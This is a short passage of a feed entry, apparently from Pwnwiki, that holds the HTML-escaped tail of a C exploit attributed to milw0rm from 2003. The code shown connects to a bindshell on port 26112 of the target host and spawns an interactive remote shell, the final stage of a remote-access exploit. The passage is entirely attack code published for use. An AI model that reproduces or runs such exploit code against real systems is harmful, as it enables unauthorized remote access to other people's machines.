	printf(&amp;quot;[+] sleeping...\n&amp;quot;);&lt;br /&gt;
	sleep(1);&lt;br /&gt;
	opt = tcp_connect(hostname, 26112);&lt;br /&gt;
	if (opt &amp;lt; 0)&lt;br /&gt;
		fatal(&amp;quot;[-] failed! couldn't connect to bindshell!\n&amp;quot;);&lt;br /&gt;
&lt;br /&gt;
	printf(&amp;quot;[+] shell!\n&amp;quot;);&lt;br /&gt;
	shell(opt);&lt;br /&gt;
	&lt;br /&gt;
	return 0;&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
// milw0rm.com [2003-07-25]&lt;br /&gt;
            &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;/div&gt;</summary>
		<author><name>Pwnwiki</name></author>
	</entry>
</feed>